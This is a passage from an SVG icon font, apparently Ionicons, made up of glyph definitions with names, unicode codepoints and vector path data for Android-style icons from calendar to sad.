s-32 -14 -32 -32s14 -32 32 -32zM272 80c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM304 203v106h-256v-106h256z" />
    <glyph glyph-name="ion-android-calendar" unicode="&#xf2d1;" horiz-adv-x="384" 
d="M304 176v-96h-96v96h96zM272 384h48v-32h24c22 0 40 -18 40 -40v-272c0 -22 -18 -40 -40 -40h-304c-22 0 -40 18 -40 40v272c0 22 18 40 40 40h24v32h48v-32h160v32zM344 40v212h-304v-212h304z" />
    <glyph glyph-name="ion-android-call" unicode="&#xf2d2;" horiz-adv-x="384" 
d="M363 117c12 0 21 -9 21 -21v-75c0 -12 -9 -21 -21 -21c-201 0 -363 162 -363 363c0 12 9 21 21 21h75c12 0 21 -9 21 -21c0 -27 4 -52 13 -77c2 -7 0 -16 -5 -21l-47 -47c31 -61 80 -110 141 -141l47 47c5 6 14 7 21 5c23 -7 49 -12 76 -12z" />
    <glyph glyph-name="ion-android-camera" unicode="&#xf2d3;" 
d="M161 168c0 42 21 63 63 63s63 -21 63 -63s-21 -63 -63 -63s-63 21 -63 63zM408 352c11 0 20 -4 28 -12s12 -17 12 -28v-272c0 -11 -4 -20 -12 -28s-17 -12 -28 -12h-368c-11 0 -20 4 -28 12s-12 17 -12 28v272c0 11 4 20 12 28s17 12 28 12h88l32 32h128l32 -32h88z
M224 56c31 0 57 11 79 33s33 48 33 79s-11 57 -33 79s-48 33 -79 33s-57 -11 -79 -33s-33 -48 -33 -79s11 -57 33 -79s48 -33 79 -33z" />
    <glyph glyph-name="ion-android-cancel" unicode="&#xf36e;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM312 117l-75 75l75 75l-29 29l-75 -75l-75 75l-29 -29l75 -75l-75 -75l29 -29l75 75l75 -75z" />
    <glyph glyph-name="ion-android-car" unicode="&#xf36f;" horiz-adv-x="384" 
d="M339 331l45 -118v-160c0 -12 -9 -21 -21 -21h-22c-12 0 -21 9 -21 21v11h-256v-11c0 -12 -9 -21 -21 -21h-22c-12 0 -21 9 -21 21v160l45 118c4 13 16 21 30 21h234c14 0 26 -8 30 -21zM75 128c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM309 128
c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM43 235h298l-32 85h-234z" />
    <glyph glyph-name="ion-android-cart" unicode="&#xf370;" horiz-adv-x="416" 
d="M122 70c23 0 41 -18 41 -41s-18 -42 -41 -42s-42 19 -42 42s19 41 42 41zM0 397h68l19 -42h308c11 0 21 -9 21 -20c0 -4 -1 -8 -2 -10l-75 -129c-7 -14 -20 -22 -36 -22h-155l-21 -32s-2 -5 -2 -6c0 -3 2 -5 5 -5h238v-40h-243c-26 0 -45 14 -45 42c0 7 2 15 5 20l31 51
l-74 151h-42v42zM326 70c23 0 42 -18 42 -41s-19 -42 -42 -42s-41 19 -41 42s18 41 41 41z" />
    <glyph glyph-name="ion-android-chat" unicode="&#xf2d4;" horiz-adv-x="416" 
d="M344 384c4 0 7 -4 7 -8v-214c0 -4 -3 -9 -7 -9h-187l-90 -89v89h-57c-4 0 -10 5 -10 9v214c0 4 6 8 10 8h334zM408 321c4 0 8 -5 8 -9v-214c0 -4 -4 -9 -8 -9h-57v-89l-90 89h-130l39 39h181c18 0 25 10 25 26v167h32z" />
    <glyph glyph-name="ion-android-checkbox-blank" unicode="&#xf371;" horiz-adv-x="384" 
d="M341 384c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298z" />
    <glyph glyph-name="ion-android-checkbox-outline-blank" unicode="&#xf372;" horiz-adv-x="384" 
d="M341 341h-298v-298h298v298zM341 384v0c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298z" />
    <glyph glyph-name="ion-android-checkbox-outline" unicode="&#xf373;" horiz-adv-x="384" 
d="M105 233l66 -66l183 183l30 -30l-213 -213l-96 96zM341 43v170h43v-170c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h213v-43h-213v-298h298z" />
    <glyph glyph-name="ion-android-checkbox" unicode="&#xf374;" horiz-adv-x="384" 
d="M341 384c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298zM149 85l192 192l-30 30l-162 -162l-76 77l-30 -30z" />
    <glyph glyph-name="ion-android-checkmark-circle" unicode="&#xf375;" horiz-adv-x="416" 
d="M123 232l64 -64l179 178l29 -29l-208 -208l-93 93zM374 192h42c0 -114 -94 -208 -208 -208s-208 94 -208 208s94 208 208 208c28 0 54 -6 78 -16l-32 -32c-15 4 -30 6 -46 6c-92 0 -166 -74 -166 -166s74 -166 166 -166s166 74 166 166z" />
    <glyph glyph-name="ion-android-clipboard" unicode="&#xf376;" horiz-adv-x="384" 
d="M341 368c23 0 43 -20 43 -43v-314c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v314c0 23 20 43 43 43h87c7 28 32 48 62 48s55 -20 62 -48h87zM192 368c-12 0 -21 -9 -21 -21s9 -22 21 -22s21 10 21 22s-9 21 -21 21zM344 8v320h-40v-72h-224v72h-40v-320h304z" />
    <glyph glyph-name="ion-android-close" unicode="&#xf2d7;" horiz-adv-x="298" 
d="M298 311l-119 -119l119 -119l-30 -30l-119 119l-119 -119l-30 30l119 119l-119 119l30 30l119 -119l119 119z" />
    <glyph glyph-name="ion-android-cloud-circle" unicode="&#xf377;" horiz-adv-x="416" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM302 109c29 0 52 23 52 52s-23 52 -52 52h-11c0 46 -37 83 -83 83c-38 0 -71 -26 -80 -62h-3c-34 0 -63 -29 -63 -63s29 -62 63 -62h177z" />
    <glyph glyph-name="ion-android-cloud-done" unicode="&#xf378;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM197 85l141 141l-30 30l-111 -111l-44 45l-30 -30z" />
    <glyph glyph-name="ion-android-cloud-outline" unicode="&#xf379;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM380 72c33 0 60 27 60 60s-27 60 -60 60h-30v10c0 61 -49 110 -110 110c-51 0 -93 -34 -106 -80h-14
c-44 0 -80 -36 -80 -80s36 -80 80 -80h260z" />
    <glyph glyph-name="ion-android-cloud" unicode="&#xf37a;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121z" />
    <glyph glyph-name="ion-android-color-palette" unicode="&#xf37b;" horiz-adv-x="384" 
d="M192 384c106 0 192 -77 192 -171c0 -59 -48 -106 -107 -106h-38c-18 0 -32 -14 -32 -32c0 -9 3 -17 8 -22s9 -12 9 -21c0 -18 -14 -32 -32 -32c-106 0 -192 86 -192 192s86 192 192 192zM75 192c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM139 277
c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM245 277c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM309 192c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-android-compass" unicode="&#xf37c;" 
d="M224 217c13 0 25 -12 25 -25s-12 -25 -25 -25s-25 12 -25 25s12 25 25 25zM224 416c123 0 224 -101 224 -224s-101 -224 -224 -224s-224 101 -224 224s101 224 224 224zM273 143l85 183l-183 -85l-85 -183z" />
    <glyph glyph-name="ion-android-contact" unicode="&#xf2d8;" horiz-adv-x="384" 
d="M267 110c59 -18 104 -58 117 -110h-384c13 52 58 92 117 110c22 -13 48 -20 75 -20s53 7 75 20zM192 384c73 0 132 -59 132 -132s-59 -132 -132 -132s-132 59 -132 132s59 132 132 132zM192 153c42 0 78 26 92 63h-184c14 -37 50 -63 92 -63z" />
    <glyph glyph-name="ion-android-contacts" unicode="&#xf2d9;" 
d="M207 104c47 -14 76 -62 87 -104h-294c11 42 40 90 87 104c18 -10 38 -16 60 -16s42 6 60 16zM147 328c58 0 106 -48 106 -106s-48 -106 -106 -106s-106 48 -106 106s48 106 106 106zM147 141c34 0 62 23 74 51h-148c12 -28 40 -51 74 -51zM291 64c-13 20 -34 43 -60 53
c11 9 21 23 28 35c13 -5 27 -8 42 -8c22 0 42 6 60 16c47 -14 76 -54 87 -96h-157zM275 248c-8 37 -31 69 -63 87c19 29 52 49 89 49c58 0 106 -48 106 -106s-48 -106 -106 -106c-11 0 -22 2 -32 5c3 8 6 16 7 25c8 -3 16 -4 25 -4c34 0 62 22 74 50h-100z" />
    <glyph glyph-name="ion-android-contract" unicode="&#xf37d;" horiz-adv-x="384" 
d="M0 77v51h128v-128h-51v77h-77zM77 307v77h51v-128h-128v51h77zM256 0v128h128v-51h-77v-77h-51zM307 307h77v-51h-128v128h51v-77z" />
    <glyph glyph-name="ion-android-create" unicode="&#xf37e;" horiz-adv-x="384" 
d="M0 80l236 236l80 -80l-236 -236h-80v80zM378 298l-40 -40l-80 80l40 40c9 9 20 9 29 0l51 -51c9 -9 9 -20 0 -29z" />
    <glyph glyph-name="ion-android-delete" unicode="&#xf37f;" horiz-adv-x="320" 
d="M32 43v245h256v-245c0 -23 -20 -43 -43 -43h-170c-23 0 -43 20 -43 43zM320 352v-32h-320v32h80l27 32h106l27 -32h80z" />
    <glyph glyph-name="ion-android-desktop" unicode="&#xf380;" 
d="M405 416c23 0 43 -20 43 -43v-282c0 -23 -20 -43 -43 -43h-138l42 -48v-32h-170v32l42 48h-138c-23 0 -43 20 -43 43v282c0 23 20 43 43 43h362zM405 128v245h-362v-245h362z" />
    <glyph glyph-name="ion-android-document" unicode="&#xf381;" horiz-adv-x="320" 
d="M192 400l128 -128v-248c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v336c0 22 18 40 40 40h152zM176 256h112l-112 112v-112z" />
    <glyph glyph-name="ion-android-done-all" unicode="&#xf382;" horiz-adv-x="512" 
d="M388 308l-140 -139l-31 31l140 139zM481 339l31 -31l-264 -263l-122 123l30 31l92 -91zM0 168l32 31l122 -123l-31 -31z" />
    <glyph glyph-name="ion-android-done" unicode="&#xf383;" horiz-adv-x="384" 
d="M122 108l230 230l32 -31l-262 -261l-122 122l32 31z" />
    <glyph glyph-name="ion-android-download" unicode="&#xf2dd;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM208 180h-68l100 -100l100 100h-68v76h-64v-76z" />
    <glyph glyph-name="ion-android-drafts" unicode="&#xf384;" 
d="M448 246v-203c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v203c0 15 8 30 20 37l204 101l204 -101c13 -7 20 -22 20 -37zM224 144l171 112l-171 85l-171 -85z" />
    <glyph glyph-name="ion-android-exit" unicode="&#xf385;" horiz-adv-x="384" 
d="M151 115l55 56h-206v42h207l-56 56l30 30l107 -107l-107 -107zM341 384c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v85h43v-85h298v298h-298v-85h-43v85c0 23 20 43 43 43h298z" />
    <glyph glyph-name="ion-android-expand" unicode="&#xf386;" horiz-adv-x="384" 
d="M333 51v77h51v-128h-128v51h77zM333 333h-77v51h128v-128h-51v77zM51 333v-77h-51v128h128v-51h-77zM51 51h77v-51h-128v128h51v-77z" />
    <glyph glyph-name="ion-android-favorite-outline" unicode="&#xf387;" horiz-adv-x="416" 
d="M302 384c64 0 114 -50 114 -115c0 -80 -71 -144 -178 -242l-30 -27l-30 27c-107 98 -178 162 -178 242c0 65 50 115 114 115c36 0 71 -17 94 -44c23 27 58 44 94 44zM221 55c50 46 94 86 123 122c28 35 40 63 40 92c0 23 -9 44 -24 59s-35 24 -58 24
c-26 0 -53 -13 -70 -33l-24 -29l-24 29c-17 20 -44 33 -70 33c-23 0 -43 -9 -58 -24s-24 -36 -24 -59c0 -29 12 -57 40 -92c29 -36 73 -76 123 -122l4 -4l9 -8l9 8z" />
    <glyph glyph-name="ion-android-favorite" unicode="&#xf388;" horiz-adv-x="416" 
d="M208 0l-30 27c-107 98 -178 162 -178 242c0 65 50 115 114 115c36 0 71 -17 94 -44c23 27 58 44 94 44c64 0 114 -50 114 -115c0 -80 -71 -144 -178 -242z" />
    <glyph glyph-name="ion-android-film" unicode="&#xf389;" horiz-adv-x="320" 
d="M280 384h40v-384h-40v43h-40v-43h-160v43h-40v-43h-40v384h40v-43h40v43h160v-43h40v43zM80 85v43h-40v-43h40zM80 171v42h-40v-42h40zM80 256v43h-40v-43h40zM280 85v43h-40v-43h40zM280 171v42h-40v-42h40zM280 256v43h-40v-43h40z" />
    <glyph glyph-name="ion-android-folder-open" unicode="&#xf38a;" 
d="M405 304c23 0 43 -20 43 -43v-186c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v234c0 23 20 43 43 43h138l43 -48h181zM416 75v186c0 6 -5 11 -11 11h-373v-197c0 -6 5 -11 11 -11h362c6 0 11 5 11 11z" />
    <glyph glyph-name="ion-android-folder" unicode="&#xf2e0;" 
d="M181 352l43 -48h181c23 0 43 -20 43 -43v-186c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v234c0 23 20 43 43 43h138z" />
    <glyph glyph-name="ion-android-funnel" unicode="&#xf38b;" 
d="M176 48v48h96v-48h-96zM0 336h448v-48h-448v48zM80 167v50h288v-50h-288z" />
    <glyph glyph-name="ion-android-globe" unicode="&#xf38c;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM186 15c6 15 21 29 8 39c-8 7 -16 14 -23 21c-2 2 -11 20 -9 23c5 9 6 14 8 24c3 12 -3 16 -13 22c-15 10 -29 23 -43 34c-7 5 -17 10 -20 19s-5 20 -10 28c-14 20 -12 34 -10 58
c0 7 -1 16 -2 25c-28 -32 -42 -73 -42 -116c0 -48 18 -92 52 -126c29 -29 65 -46 104 -51zM334 66c23 23 39 51 47 82c-8 -1 -19 2 -19 2s-21 24 -23 45c-2 22 0 39 -3 57c-3 16 -20 31 -27 46c-7 14 -13 28 -20 42c2 -1 5 -2 7 -3c5 1 10 2 14 2c-23 16 -49 25 -76 29v-8
l4 -9l-14 -13l-9 3l-10 10l-10 12l-14 5c-16 -2 -31 -7 -45 -13v-7c7 3 16 5 23 8c3 1 13 -7 16 -9c-4 -5 -21 -15 -22 -21c0 -2 7 -6 7 -10c0 -6 -1 -11 -1 -17c3 3 20 21 22 21c13 3 35 -19 37 -26s-22 -24 -33 -34c-8 -8 -25 -12 -20 -24c2 -4 10 -20 5 -24
c-6 -5 -14 9 -17 12c-8 10 -26 7 -38 7c0 -17 -1 -31 15 -43c15 -11 30 -25 47 -33c13 -6 36 7 47 -1c16 -11 29 -21 47 -29c8 -3 33 -20 26 -31c-5 -8 -10 -15 -14 -23s-13 -20 -20 -25c-8 -6 -16 -17 -21 -29c35 7 66 23 92 49z" />
    <glyph glyph-name="ion-android-hand" unicode="&#xf2e3;" horiz-adv-x="414" 
d="M401 174c15 -15 18 -36 3 -51c0 0 -96 -103 -126 -121v0c-28 -21 -65 -34 -100 -34c-55 0 -101 36 -117 85v0v1c0 1 -1 2 -1 3l-58 189c-5 15 2 32 17 37s30 -3 35 -18l34 -88c1 -4 2 -2 2 1l-22 161c-3 15 7 30 22 33s30 -8 33 -23l25 -138c0 -2 2 -2 2 0v177
c0 15 13 28 28 28s28 -13 28 -28l8 -175c0 -5 3 -4 4 -1l23 135c2 15 16 27 31 25s27 -17 25 -32l-21 -172c-1 -12 -3 -30 2 -36c8 -9 20 -9 31 2l42 42c15 15 35 13 50 -2z" />
    <glyph glyph-name="ion-android-hangout" unicode="&#xf38d;" horiz-adv-x="352" 
d="M176 400c97 0 176 -77 176 -172c0 -91 -76 -196 -176 -244v71c-97 0 -176 78 -176 173s79 172 176 172zM166 217v61h-62v-61h31l-21 -40h31zM248 217v61h-62v-61h31l-20 -40h31z" />
    <glyph glyph-name="ion-android-happy" unicode="&#xf38e;" horiz-adv-x="416" 
d="M208 400c114 0 208 -94 208 -208s-93 -208 -208 -208s-208 94 -208 208s93 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166zM281 213c-18 0 -31 13 -31 31s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31zM135 213
c-18 0 -31 13 -31 31s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31zM208 78c-49 0 -89 29 -106 72h212c-17 -43 -57 -72 -106 -72z" />
    <glyph glyph-name="ion-android-home" unicode="&#xf38f;" horiz-adv-x="416" 
d="M160 0h-98v192h-62l208 192l208 -192h-62v-192h-98v128h-96v-128z" />
    <glyph glyph-name="ion-android-image" unicode="&#xf2e4;" horiz-adv-x="384" 
d="M384 43c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298c23 0 43 -20 43 -43v-298zM117 160l-74 -96h298l-96 128l-74 -96z" />
    <glyph glyph-name="ion-android-laptop" unicode="&#xf390;" horiz-adv-x="512" 
d="M437 32h75c0 -23 -64 -32 -96 -32h-320c-32 0 -96 9 -96 32h75c-23 0 -43 20 -43 43v266c0 23 20 43 43 43h362c23 0 43 -20 43 -43v-266c0 -23 -20 -43 -43 -43zM75 341v-272h362v272h-362zM256 13c12 0 21 10 21 22s-9 21 -21 21s-21 -9 -21 -21s9 -22 21 -22z" />
    <glyph glyph-name="ion-android-list" unicode="&#xf391;" horiz-adv-x="384" 
d="M344 384c22 0 40 -18 40 -40v-304c0 -22 -18 -40 -40 -40h-304c-22 0 -40 18 -40 40v304c0 22 18 40 40 40h304zM240 80v48h-160v-48h160zM304 168v48h-224v-48h224zM304 256v48h-224v-48h224z" />
    <glyph glyph-name="ion-android-locate" unicode="&#xf2e9;" 
d="M224 272c44 0 80 -36 80 -80s-36 -80 -80 -80s-80 36 -80 80s36 80 80 80zM415 213h33v-42h-33c-10 -89 -81 -160 -170 -170v-33h-42v33c-89 10 -160 81 -170 170h-33v42h33c10 89 81 160 170 170v33h42v-33c89 -10 160 -81 170 -170zM224 43c82 0 149 67 149 149
s-67 149 -149 149s-149 -67 -149 -149s67 -149 149 -149z" />
    <glyph glyph-name="ion-android-lock" unicode="&#xf392;" horiz-adv-x="320" 
d="M280 262c22 0 40 -18 40 -40v-200c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v200c0 22 18 40 40 40h20v40c0 55 45 100 100 100s100 -45 100 -100v-40h20zM160 80c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40zM222 262v40c0 34 -28 62 -62 62
s-62 -28 -62 -62v-40h124z" />
    <glyph glyph-name="ion-android-mail" unicode="&#xf2eb;" 
d="M405 368c23 0 43 -20 43 -43v-266c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v266c0 23 20 43 43 43h362zM400 277v43l-176 -117l-176 117v-43l176 -117z" />
    <glyph glyph-name="ion-android-map" unicode="&#xf393;" horiz-adv-x="384" 
d="M373 384c6 0 11 -5 11 -11v-322c0 -5 -3 -9 -7 -10l-121 -41l-128 45s-105 -41 -108 -42s-7 -3 -9 -3c-6 0 -11 5 -11 11v322c0 5 3 9 7 10l121 41l128 -45s103 40 108 42s7 3 9 3zM256 43v254l-128 44v-254z" />
    <glyph glyph-name="ion-android-menu" unicode="&#xf394;" horiz-adv-x="384" 
d="M0 64v43h384v-43h-384zM0 171v42h384v-42h-384zM0 320h384v-43h-384v43z" />
    <glyph glyph-name="ion-android-microphone-off" unicode="&#xf395;" horiz-adv-x="408" 
d="M316 93l58 -58l-58 58l58 -58l34 -33l-24 -24l-95 95c-19 -11 -40 -20 -62 -23v-82h-46v82c-75 10 -137 76 -137 153h39c0 -68 58 -117 121 -117c20 0 40 5 57 14l-32 33c-8 -3 -16 -5 -25 -5c-38 0 -69 31 -69 69v29l-135 134l24 24l111 -110v0l140 -140l5 -5l9 -9z
M273 197c0 -4 0 -8 -1 -12l-137 137v25c0 38 31 69 69 69s69 -31 69 -69v-150zM365 203c0 -31 -10 -60 -27 -84l-27 28c9 17 15 36 15 56h39zM408 2v0l-34 33z" />
    <glyph glyph-name="ion-android-microphone" unicode="&#xf2ec;" horiz-adv-x="320" 
d="M160 128c-38 0 -69 31 -69 69v150c0 38 31 69 69 69s69 -31 69 -69v-150c0 -38 -31 -69 -69 -69zM281 203h39c0 -78 -62 -142 -137 -153v-82h-46v82c-75 10 -137 75 -137 153h39c0 -69 58 -116 121 -116s121 47 121 116z" />
    <glyph glyph-name="ion-android-more-horizontal" unicode="&#xf396;" horiz-adv-x="320" 
d="M40 232c22 0 40 -18 40 -40s-18 -40 -40 -40s-40 18 -40 40s18 40 40 40zM280 232c22 0 40 -18 40 -40s-18 -40 -40 -40s-40 18 -40 40s18 40 40 40zM160 232c22 0 40 -18 40 -40s-18 -40 -40 -40s-40 18 -40 40s18 40 40 40z" />
    <glyph glyph-name="ion-android-more-vertical" unicode="&#xf397;" horiz-adv-x="80" 
d="M80 312c0 -22 -18 -40 -40 -40s-40 18 -40 40s18 40 40 40s40 -18 40 -40zM80 72c0 -22 -18 -40 -40 -40s-40 18 -40 40s18 40 40 40s40 -18 40 -40zM80 192c0 -22 -18 -40 -40 -40s-40 18 -40 40s18 40 40 40s40 -18 40 -40z" />
    <glyph glyph-name="ion-android-navigate" unicode="&#xf398;" horiz-adv-x="320" 
d="M160 384l160 -369l-15 -15l-145 64l-145 -64l-15 15z" />
    <glyph glyph-name="ion-android-notifications-none" unicode="&#xf399;" horiz-adv-x="352" 
d="M177 328h-2c-6 0 -24 -5 -24 -5c-46 -10 -78 -53 -78 -100v-114v-13l-9 -10l-8 -8h240l-8 8l-9 10v13v114c0 47 -32 90 -78 100c0 0 -17 5 -24 5zM176 400v0c18 0 31 -13 31 -31v-15c59 -14 104 -68 104 -131v-114l41 -42v-21h-352v21l41 42v114c0 63 45 117 104 131v15
c0 18 13 31 31 31zM217 26v0c0 -23 -18 -42 -41 -42s-41 19 -41 42h82z" />
    <glyph glyph-name="ion-android-notifications-off" unicode="&#xf39a;" horiz-adv-x="364" 
d="M182 -16c-23 0 -41 19 -41 42h82c0 -23 -18 -42 -41 -42zM57 341l295 -295v0l12 -12l-24 -24l-36 36h-298v21l41 41v115c0 23 6 44 16 63l-63 64l24 24l33 -33v0zM317 223v-94l-208 207c13 8 27 15 42 18v15c0 18 13 31 31 31s31 -13 31 -31v-15c59 -14 104 -67 104 -131
z" />
    <glyph glyph-name="ion-android-notifications" unicode="&#xf39b;" horiz-adv-x="352" 
d="M176 -16c-23 0 -41 19 -41 42h82c0 -23 -18 -42 -41 -42zM311 109l41 -42v-21h-352v21l41 42v114c0 63 45 117 104 131v15c0 18 13 31 31 31s31 -13 31 -31v-15c59 -14 104 -68 104 -131v-114z" />
    <glyph glyph-name="ion-android-open" unicode="&#xf39c;" horiz-adv-x="384" 
d="M341 43v133h43v-133c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h133v-43h-133v-298h298zM224 384h160v-160h-43v87l-215 -215l-30 30l215 215h-87v43z" />
    <glyph glyph-name="ion-android-options" unicode="&#xf39d;" 
d="M0 32v32h272v-32h-272zM368 32v32h80v-32h-80zM352 0c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96zM0 176v32h80v-32h-80zM176 176v32h272v-32h-272zM160 144c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96
c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96zM0 320v32h272v-32h-272zM368 320v32h80v-32h-80zM352 288c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96z" />
    <glyph glyph-name="ion-android-people" unicode="&#xf39e;" 
d="M305 216c-34 0 -61 27 -61 60s27 60 61 60s62 -27 62 -60s-28 -60 -62 -60zM143 216c-34 0 -62 27 -62 60s28 60 62 60s61 -27 61 -60s-27 -60 -61 -60zM143 172c48 0 145 -23 145 -70v-54h-288v54c0 47 95 70 143 70zM305 161c48 0 143 -12 143 -59v-54h-128v54
c0 30 -9 41 -32 58c7 1 11 1 17 1z" />
    <glyph glyph-name="ion-android-person-add" unicode="&#xf39f;" horiz-adv-x="480" 
d="M288 192c-53 0 -96 43 -96 96s43 96 96 96s96 -43 96 -96s-43 -96 -96 -96zM288 144c64 0 192 -32 192 -96v-48h-384v48c0 64 128 96 192 96zM96 224h64v-32h-64v-64h-32v64h-64v32h64v64h32v-64z" />
    <glyph glyph-name="ion-android-person" unicode="&#xf3a0;" horiz-adv-x="384" 
d="M192 192c-53 0 -96 43 -96 96s43 96 96 96s96 -43 96 -96s-43 -96 -96 -96zM192 144c64 0 192 -32 192 -96v-48h-384v48c0 64 128 96 192 96z" />
    <glyph glyph-name="ion-android-phone-landscape" unicode="&#xf3a1;" 
d="M448 89c0 -23 -19 -41 -41 -41h-366c-22 0 -41 18 -41 41v206c0 23 19 41 41 41h366c22 0 41 -18 41 -41v-206zM80 84h288v216h-288v-216z" />
    <glyph glyph-name="ion-android-phone-portrait" unicode="&#xf3a2;" horiz-adv-x="288" 
d="M247 416c23 0 41 -19 41 -41v-366c0 -22 -18 -41 -41 -41h-206c-23 0 -41 19 -41 41v366c0 22 18 41 41 41h206zM252 48v288h-216v-288h216z" />
    <glyph glyph-name="ion-android-pin" unicode="&#xf3a3;" horiz-adv-x="320" 
d="M160 416c88 0 160 -71 160 -157c0 -118 -160 -291 -160 -291s-160 173 -160 291c0 86 72 157 160 157zM160 203c32 0 57 25 57 56s-25 56 -57 56s-57 -25 -57 -56s25 -56 57 -56z" />
    <glyph glyph-name="ion-android-plane" unicode="&#xf3a4;" horiz-adv-x="384" 
d="M384 112l-160 48v-114l48 -31v-31l-80 16l-80 -16v31l48 31v114l-160 -48v40l160 104v113c0 18 15 31 32 31s32 -13 32 -31v-113l160 -104v-40z" />
    <glyph glyph-name="ion-android-playstore" unicode="&#xf2f0;" horiz-adv-x="416" 
d="M416 296c-19 -214 -13 -312 -13 -312h-390s6 96 -13 312h104c0 57 47 104 104 104s104 -47 104 -104h104zM208 374c-43 0 -78 -35 -78 -78h156c0 43 -35 78 -78 78zM156 50l143 85l-143 84v-169z" />
    <glyph glyph-name="ion-android-print" unicode="&#xf3a5;" horiz-adv-x="416" 
d="M352 288c35 0 64 -29 64 -64v-139h-80v-85h-256v85h-80v139c0 35 29 64 64 64h288zM304 32v128h-192v-128h192zM336 384v0v-80h-256v80h256z" />
    <glyph glyph-name="ion-android-radio-button-off" unicode="&#xf3a6;" horiz-adv-x="416" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166z" />
    <glyph glyph-name="ion-android-radio-button-on" unicode="&#xf3a7;" horiz-adv-x="416" 
d="M208 296c57 0 104 -47 104 -104s-47 -104 -104 -104s-104 47 -104 104s47 104 104 104zM208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166z" />
    <glyph glyph-name="ion-android-refresh" unicode="&#xf3a8;" horiz-adv-x="352" 
d="M176 60c56 0 104 34 123 84h46c-21 -74 -88 -128 -169 -128c-98 0 -176 79 -176 176s79 176 176 176c48 0 92 -20 124 -52l52 52v-154h-154l70 70c-23 24 -56 40 -92 40c-73 0 -132 -59 -132 -132s59 -132 132 -132z" />
    <glyph glyph-name="ion-android-remove-circle" unicode="&#xf3a9;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM315 171v42h-214v-42h214z" />
    <glyph glyph-name="ion-android-remove" unicode="&#xf2f4;" horiz-adv-x="320" 
d="M0 171v42h320v-42h-320z" />
    <glyph glyph-name="ion-android-restaurant" unicode="&#xf3aa;" horiz-adv-x="415" 
d="M116 168l-91 89c-34 33 -34 86 0 119l153 -148zM264 206l-33 -31l150 -145l-30 -30l-150 146l-150 -146l-30 30s163 159 211 207c-15 32 -4 77 31 111c41 40 101 49 132 17c33 -31 24 -89 -17 -129c-34 -34 -80 -45 -114 -30z" />
    <glyph glyph-name="ion-android-sad" unicode="&#xf3ab;" horiz-adv-x="416" 
d="M208 160c45 0 83 -26 102 -64h-204c19 38 57 64 102 64zM208 400c114 0 208 -94 208 -208s-93 -208 -208 -208s-208 94 -208 208s93 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166zM281 213c-18 0 -31 13 -31 31
